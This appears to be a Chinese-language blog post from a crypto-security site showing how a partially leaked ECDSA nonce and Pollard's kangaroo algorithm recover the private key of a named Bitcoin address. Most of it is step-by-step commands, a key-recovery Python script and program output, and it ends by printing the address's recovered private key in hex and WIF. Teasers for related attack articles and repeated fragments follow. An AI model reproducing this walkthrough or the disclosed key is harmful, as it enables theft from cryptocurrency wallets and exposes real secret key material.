Pollard’s Kangaroo 在已知範圍內找到離散對數 secp256k1 PRIVATE KEY + NONCES 的解

Crypto Deep Tech

在本文中，我們將從計算數論領域來看 ECDLP 最快的算法，Pollard 的袋鼠算法也稱為 Pollard 的 lambda 算法。

Pollard 的袋鼠法計算任意循環群中的離散對數 。[ a , b ]如果已知離散對數位於某個範圍內（例如），然後具有執行批量操作的預期時間，則應用它。

波拉德的袋鼠優勢：

使用很少的內存
可以與線性加速並行
可以有效地跟踪內存需求

所有這些使得袋鼠法成為解決離散對數問題最強大的方法。

破解 ECDSA 簽名方案的一種方法是解決離散對數問題。

在設置中，不使用指數演算法等次指數時間算法，波拉德袋鼠法是ECDSA 它們背後最著名的求解方法。DLP我們將盡量不給您增加各種理論方面的負擔。讓我們繼續進行實驗部分。

正如我們在比特幣區塊鏈中所知，BTC 硬幣的發送者總是會洩露他的公鑰。

對於 Pollard袋鼠法，知道 公鑰或者簽名值就足夠了R （值 R 也是一種公鑰，因為它是橢圓曲線平面上的 Nonces 坐標點）xsecp256k1

它仍然只是定義範圍 PRIVATE KEY 或範圍 NONCES。

碰巧一些ECDSA在比特幣區塊鏈中創建簽名的設備可以部分洩露有關價值的信息字節 "K" (NONCES)

我們認為這是丟失 BTC 硬幣的潛在威脅，並強烈建議每個人始終更新軟件並僅使用經過驗證的設備。

最近，我們對比特幣區塊鏈進行了密碼分析，發現了幾筆這樣的交易。

那麼看看這個提款金額為501.06516041 BTC的比特幣地址

Pollard's Kangaroo 在已知範圍內找到離散對數 secp256k1 PRIVATE KEY + NONCES 的解

在這個比特幣地址14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE的交易中，部分洩露了有關價值的字節信息 "K" (NONCES)

正如我們從上一篇 文章中了解到的

查找密鑰範圍

讓我們找到這筆交易並使用Pollard的袋鼠方法 來恢復私鑰

之前，我們錄製了 一個視頻教程： “Google Colab 中的 TERMINAL 創造了在 GITHUB 中工作的所有便利”

在終端[TerminalGoogleColab]中打開 Google Colab

要搜索 RawTX，我們將使用存儲庫 “01BlockchainGoogleDrive”

git clone https://github.com/demining/CryptoDeepTools.git

cd CryptoDeepTools/01BlockchainGoogleDrive/

chmod +x getrawtx.sh

./getrawtx.sh 14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE

比特幣地址 14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE交易的所有內容都保存到文件中： RawTX.json

打開文件： RawTX.json 找到這個交易 [строка №10]

讓我們使用命令 export 並將這一行 №10 從 RawTX.json單獨保存到 RawTX.txt

export LINE=10 ; sed -n "${LINE}p" RawTX.json > RawTX.txt

cat RawTX.txt

讓我們找出來 TxID ，打開 Decode Raw Bitcoin Hexadecimal Transaction網站並插入我們的 RawTX結果，我們得到 TxID

結果，我們得到 TxID

TxID：b5add54960756c58ebabb332c5ef89098d2c3b8f2107b939ec542178e846108b

打開鏈接TxID：
https://btc.exan.tech/tx/b5add54960756c58ebabb332c5ef89098d2c3b8f2107b939ec542178e846108b

現在我們發現部分洩露了有關值的字節信息 "K" (NONCES)

為此，我們將使用腳本 «RangeNonce»

«RangeNonce» 是查找密鑰範圍的腳本

讓我們選擇分發工具包的版本 GNU/Linux 。 Google Colab 提供 UBUNTU 18.04

上傳所有文件到 Google Colab

讓我們允許腳本的權限並運行腳本 «RangeNonce»

團隊：

chmod +x RangeNonce
./RangeNonce
cat Result.txt

所有內容都將保存到文件中：Result.txt

這是“K”(NONCES) 值的部分信息字節公開

所以我們的密鑰在範圍內：

K = 070239c013e8f40c8c2a0e608ae15a6b00000000000000000000000000000000
K = 070239c013e8f40c8c2a0e608ae15a6bffffffffffffffffffffffffffffffff

注意格式開頭的 32 數字和字母 HEX ，簽名的值 Z 匹配 秘鑰的範圍， 即值 "K" (NONCES)

這是一個非常嚴重的 ECDSA 簽名錯誤

上面我們說了，對於Pollard袋鼠法來說，知道公鑰或者簽名 R值就足夠了（該值 R 也是一種公鑰，因為它是橢圓曲線平面上的 Nonces 一個坐標點）xsecp256k1

我們案例中的簽名 值 R ：

R = 83fe1c06236449b69a7bee5be422c067d02c4ce3f4fa3756bd92c632f971de06

該腳本通過創建 壓縮公鑰RangeNonce添加了我們需要的前綴 02

K_PUBKEY = 0283fe1c06236449b69a7bee5be422c067d02c4ce3f4fa3756bd92c632f971de06

現在我們有信息：

密鑰範圍
壓縮公鑰

讓我們使用來自法國開發人員 Jean-Luc PONS 的源代碼來構建 Pollard 的袋鼠程序

請注意，您可以自己組裝 CUDA 以 GPU 提高 計算速度。

我們將對 CPU 進行正常組裝

團隊：

cd /

cd content/CryptoDeepTools/06KangarooJeanLucPons/

ls

sudo apt-get update

sudo apt-get install g++ -y
sudo apt-get install libgmp3-dev libmpfr-dev -y

安裝完所有包後，我們將通過運行一個簡單的命令來構建：

make

組裝成功！

Проверим версию:

./kangaroo -v

因此，我們創建了“Kangaroo v2.2”版本

為了演示性能， «Kangaroo v2.2» 讓我們CPU提高範圍並將所有內容保存到文件中： rangepubkey.txt

打開一個文本文件：rangepubkey.txt

070239c013e8f40c8c2a0e608ae15a6b23d4a09295be678b2100000000000000
070239c013e8f40c8c2a0e608ae15a6b23d4a09295be678b21ffffffffffffff
0283fe1c06236449b69a7bee5be422c067d02c4ce3f4fa3756bd92c632f971de06

Очистим терминал командой:

clear

運行 «Kangaroo v2.2» 結果會 自動保存 到文件中： savenonce.txt

./kangaroo -ws -w save.work -wi 30 -o savenonce.txt rangepubkey.txt

搜索時間用了 1 分鐘。18 秒。

文件中的結果： savenonce.txt

讓我們打開 文件： savenonce.txt

我們得到了秘鑰，這是“K”的值（隨機數）

Key# 0 [1S]Pub:  0x0283FE1C06236449B69A7BEE5BE422C067D02C4CE3F4FA3756BD92C632F971DE06 
       Priv: 0x70239C013E8F40C8C2A0E608AE15A6B23D4A09295BE678B21A5F1DCEAE1F634 


070239C013E8F40C8C2A0E608AE15A6B23D4A09295BE678B21A5F1DCEAE1F634

K = 070239c013e8f40c8c2a0e608ae15a6b00000000000000000000000000000000 # RangeNonce
K = 070239C013E8F40C8C2A0E608AE15A6B23D4A09295BE678B21A5F1DCEAE1F634 # NONCES
K = 070239c013e8f40c8c2a0e608ae15a6bffffffffffffffffffffffffffffffff # RangeNonce

私鑰

現在知道了價值， "K" (NONCES) 我們 將把私鑰恢復 到比特幣地址： 14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE

讓我們回到開頭，正如我們所記得的那樣，腳本 «RangeNonce» 向我們揭示了有關值範圍的信息"K" (NONCES)，以及信息 SIGNATURES

R = 83fe1c06236449b69a7bee5be422c067d02c4ce3f4fa3756bd92c632f971de06
S = 7405249d2aa9184b688f5307006fddc3bd4a7eb89294e3be3438636384d64ce7
Z = 070239c013e8f40c8c2a0e608ae15a6b1bb4b8fbcab3cff151a6e4e8e05e10b7

使用 Python腳本中的公式獲取私鑰： calculate.py

PRIVKEY = ((((S * K) - Z) * modinv(R,N)) % N)

def h(n):
    return hex(n).replace("0x","")

def extended_gcd(aa, bb):
    lastremainder, remainder = abs(aa), abs(bb)
    x, lastx, y, lasty = 0, 1, 1, 0
    while remainder:
        lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
        x, lastx = lastx - quotient*x, x
        y, lasty = lasty - quotient*y, y
    return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)

def modinv(a, m):
    g, x, y = extended_gcd(a, m)
    if g != 1:
        raise ValueError
    return x % m
    
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
R = 0x83fe1c06236449b69a7bee5be422c067d02c4ce3f4fa3756bd92c632f971de06
S = 0x7405249d2aa9184b688f5307006fddc3bd4a7eb89294e3be3438636384d64ce7
Z = 0x070239c013e8f40c8c2a0e608ae15a6b1bb4b8fbcab3cff151a6e4e8e05e10b7
K = 0x070239C013E8F40C8C2A0E608AE15A6B23D4A09295BE678B21A5F1DCEAE1F634

print (h((((S * K) - Z) * modinv(R,N)) % N))

團隊：

wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/02BreakECDSAcryptography/calculate.py

python3 calculate.py

PRIVKEY=23d4a09295be678b21a5f1dceae1f634a69c1b41775f680ebf8165266471401b

ADDR: 14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE
WIF:  5J64pq77XjeacCezwmAr2V1s7snvvJkuAz8sENxw7xCkikceV6e
HEX:  23d4a09295be678b21a5f1dceae1f634a69c1b41775f680ebf8165266471401b

找到私鑰！

www.blockchain.com/btc/address/14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE

該視頻是為 CRYPTO DEEP TECH門戶網站創建的，以確保橢圓曲線上的數據和密碼學的金融安全性免受加密貨幣中 secp256k1 弱簽名的影響 ECDSABITCOIN

來源

電報： https: //t.me/cryptodeeptech

視頻素材： https: //youtu.be/UGUJyxOhBBQ

來源： https ://cryptodeep.ru/kangaroo

密碼分析

Pollard's Kangaroo находим решения дискретного логарифма secp256k1 PRIVATE KEY + NONCES в известном диапазоне

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所有已知的攻擊：“區塊鏈攻擊向量和智能合約的漏洞”

https://www.youtube.com/embed/7pqVNbcGzls 在本文中，我們將討論所有已知的區塊鏈攻擊，以及智能合約漏洞。區塊鏈並不像我們想像的那麼安全。儘管安全性貫穿於所有區塊鏈技術，但即使是最強大的區塊鏈也會受到現代網絡犯罪分子的攻擊。區塊鏈可以很好地抵抗傳統的網絡攻擊，但網絡犯罪分子正在想出專門針對區塊鏈技術的新方法。在本文中，我們描述了針對區塊鏈技術的主要攻擊媒介，並了解了迄今為止最重大的區塊鏈攻擊。網絡犯罪分子已經設法濫用區塊鏈來執行惡意操作。如果攻擊者沒有收到加密貨幣獎勵，像 WannaCry 和 Petya這樣的勒索軟件攻擊就不會如此大規模。現在，看起來黑客正在考慮利用區塊鏈安全漏洞作為他們的主要收入來源。 2019 年 3 月，白帽黑客在短短 30 天內在各種區塊鍊和加密貨幣平台中發現了 43 個漏洞。他們甚至在Coinbase、 EOS和 Tezos等著名平台中發現了漏洞。然而，弱點通常很難檢測到，因為它們可能隱藏在不顯眼的地方。例如， Parity 多重簽名錢包是通過破壞其中具有提取功能的庫而被黑客入侵的。攻擊者設法將庫本身初始化為錢包，並聲稱擁有它的所有者權利。結果，573 個錢包受到影響，價值 3000 萬美元的加密貨幣被盜，另外被白帽黑客組織救出的 1.8 億美元後來歸還給了合法所有者。通過攻擊比特幣和以太坊等龐大的網絡，網絡犯罪分子表明他們足夠聰明，可以反駁區塊鏈安全的神話。讓我們考慮五個最常見的區塊鏈攻擊向量：區塊鍊網絡攻擊區塊鍊網絡包括創建和運行交易並提供其他服務的節點。例如，比特幣網絡由發送和接收交易的節點以及將批准的交易添加到區塊的礦工組成。網絡罪犯尋找網絡漏洞並通過以下類型的攻擊利用它們。分佈式拒絕服務分佈式拒絕服務 (DDoS) 攻擊很難在區塊鍊網絡上執行，但它們是可能的。當使用 DDoS 攻擊區塊鍊網絡時，黑客打算通過大量請求消耗其所有處理資源來關閉服務器。DDoS 攻擊者旨在斷開網絡的礦池、電子錢包、加密貨幣交易所和其他金融服務。區塊鏈也可以使用 DDoS 殭屍網絡在其應用程序層受到 DDoS 攻擊。 2017 年，Bitfinex 遭受了大規模的 DDoS 攻擊。這對 IOTA 基金會來說尤其不方便，IOTA 基金會在 Bitfinex 通知用戶此次攻擊的前一天就在平台上發布了他們的 IOTA 代幣。三年後，即 2020 年 2 月，在 OKEx 加密貨幣交易所注意到類似攻擊的一天后， Bitfinex又經歷了一次 DDoS 攻擊。交易延展性攻擊交易延展性攻擊旨在誘使受害者支付兩次。在比特幣網絡中，每筆交易都有一個散列，即交易…

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Twist Attack 示例 #2 繼續執行一系列 ECC 操作以獲取比特幣錢包私鑰的值

在本文中，我們將使用示例#2 實現扭曲攻擊，根據文章的第一理論部分，我們確保借助 secp256k1 橢圓曲線上的某些點，我們可以獲得部分值私鑰並在 5-15 分鐘內使用“Sagemath pollard rho 函數：(discrete_log_rho)”和“中國剩餘定理”恢復比特幣錢包。讓我們繼續進行一系列 ECC 操作，因為這些特定點是 secp256k1 橢圓曲線上的惡意選擇點 https://github.com/christianlundkvist/blog/blob/master/2020_05_26_secp256k1_twist_attacks/secp256k1_twist_attacks.md 根據 Paulo Barreto 的推文：https://twitter.com/pbarreto/status/825703772382908416 ?s=21 餘因子為3^2*13^2*3319*22639 E1: 20412485227 E2: 3319, 22639 E3: 109903, 12977017, 383229727 E4: 18979 E6: 10903, 5290657, 10833080827, 22921299619447 prod = 20412485227 * 3319 * 22639 *109903 * 12977017 * 383229727 * 18979 * 10903 * 5290657 * 10833080827…

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冷熱錢包發現漏洞並消除對區塊鏈的各種攻擊

https://www.youtube.com/embed/NrQ3oNxlrlU 在上一篇文章：“區塊鏈攻擊向量和智能合約漏洞”中，我們回顧了所有已知的區塊鏈攻擊，在本文中，我們將再次討論加密威脅，我們將討論識別冷錢包和熱錢包的漏洞錢包。區塊鍊是由去中心化賬本和非常安全的數據結構組成的底層技術層，因為有很多分佈式節點參與共識算法。為了破解區塊鏈，黑客應該利用許多去中心化節點中的漏洞。區塊鏈的基本安全假設是不可能破解這麼多節點來改變區塊鏈的狀態。如果區塊鏈技術如此安全，它怎麼可能被黑客入侵？該技術的致命弱點是機構用戶的中心化性質，這些用戶為他們的客戶管理著大量的加密資產（金錢），而唯一留在金錢和黑客之間的就是私鑰。私鑰應用於在區塊鏈交易上簽名，就像使用手動簽名簽署傳統支票一樣。如果有人竊取了機構的私鑰，他們可以代表他們創建交易並竊取資金。與銀行系統不同——一旦創建了被黑客入侵的交易，就無法逆轉——錢實際上是被盜了。為什麼存儲和保護您的私鑰很重要？持有私鑰的人可以完全控制與該私鑰相關的資產。由於區塊鏈交易是即時且不可撤銷的，因此用戶希望將其私鑰保密。私鑰只生成一次，因此將私鑰放錯地方實際上會使與該地址關聯的所有加密資產變得無用。儘管尚未定義最佳託管方案，但毫無疑問，私鑰的控制是最重要的問題。事實上，私鑰本質上就是真正的資產。它的內在屬性和力量意味著沒有辦法真正無一例外地保護它。冷錢包 “機構保管人的金庫”是最初存儲比特幣或其他加密貨幣的硬件設備，與互聯網隔離的設備。理論上，據報導冷錢包解決方案是存儲加密貨幣的最安全方式。一些加密貨幣用戶更喜歡將他們的數字資產保存在物理“錢包”中，通常是一種看起來像 U 盤的設備；它們只能通過直接插入計算機來訪問，並且需要互聯網連接才能讓用戶訪問和移動他們的加密貨幣資金。有幾種流行的商業用途冷錢包，例如 Trezor、Ledger Nano S，對於企業和機構投資者，一些其他設備結合使用： USB 以太網 SD卡外部拇指驅動器帶 HSM 的專用氣隙機器與上述硬件相關的問題是可用性，要訪問加密資產，您需要將冷錢包連接到計算機，因此它會暴露在互聯網上。通過這樣做，您將通過 Internet 連接破壞冷錢包系統，從而使其暴露於潛在的攻擊媒介並最終導致潛在的網絡盜竊。使用冷錢包存儲是一項必要的安全預防措施，尤其是在處理大量比特幣和其他加密資產時。例如，加密貨幣交易所或加密貨幣基金託管人通常會提供即時提款，並且可能負責數十萬比特幣和其他加密資產。為了最大限度地降低黑客在安全漏洞中竊取全部儲備金的能力，金融服務運營商將遵循標準協議，將大部分儲備金保存在冷庫中，同時持有較小比例的日常可用資產貿易活動。從本質上講，他們不會將大部分數字資產的私鑰存儲在他們的服務器或任何其他連接的計算機上。服務器上保存的唯一金額是支付預期客戶提款所需的最低金額。用於保護數字資產私鑰的方法：使用強密碼保護錢包的數據加密在計算機崩潰或欺詐的情況下備份數字錢包冷錢包並不真正安全，因為在某些時候，它們需要發送資金，而這樣做依賴於雙向通信並連接到互聯網。此時它們可能會受到威脅並感染惡意數據並且極易受到攻擊。因此，所有的冷錢包都變成了熱錢包，打破了機構託管人的整體安全理論。如今，熱錢包發揮著重要作用，因為它們能夠輕鬆訪問資金並處理自動交易，但熱錢包的私鑰存儲方式要求它們始終連接到互聯網。有不同類型的熱錢包採用不同的方法來存儲私鑰。從數學的角度來看，一些在不同參與者之間複製私鑰，另一些在參與者之間劃分一個私鑰。換句話說，今天的熱錢包通過分發私鑰來解決安全風險。熱錢包參與者保持對其私鑰的控制，因此熱錢包中的加密貨幣資產仍處於持有者的控制之下。但是，這些資產仍然容易受到黑客攻擊，因為惡意個人或團體可以訪問您的計算機或智能手機，理論上也可以通過訪問私鑰來耗盡您的錢包。熱錢包的主要優勢在於它可以用於自動和快速訪問交易。希望實際使用他們的加密貨幣資產進行購買的個人可能會選擇使用熱錢包，例如，因為該錢包中的資產可以通過互聯網轉移，而且一般來說，加密資產的數量具有足夠高的價值，因此黑客投入竊取的時間和金錢是不值得的。另一方面，熱錢包肯定容易受到安全漏洞的影響，因為它們可以持續訪問互聯網。不同類型的熱錢包都將私鑰存儲在連接互聯網的應用程序中： Basic Hot wallet – 私鑰直連互聯網 Multisig Native Wallet – 複製私鑰 – 您只需要讓兩個參與者妥協即可獲得訪問權限多方計算 (MPC) – 在 2-5 名參與者之間分發私鑰如果我們看一下 Multisig 方法，即使有 2-3…

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波拉德的袋鼠優勢：

破解 ECDSA 簽名方案的一種方法是解決離散對數問題。

那麼看看這個提款金額為501.06516041 BTC的比特幣地址

查找密鑰範圍

結果，我們得到 TxID

所有內容都將保存到文件中：Result.txt

這是“K”(NONCES) 值的部分信息字節公開

這是一個非常嚴重的 ECDSA 簽名錯誤

現在我們有信息：

組裝成功！

因此，我們創建了“Kangaroo v2.2”版本

打開一個文本文件：rangepubkey.txt

搜索時間用了 1 分鐘。18 秒。

我們得到了秘鑰，這是“K”的值（隨機數）

私鑰

找到私鑰！

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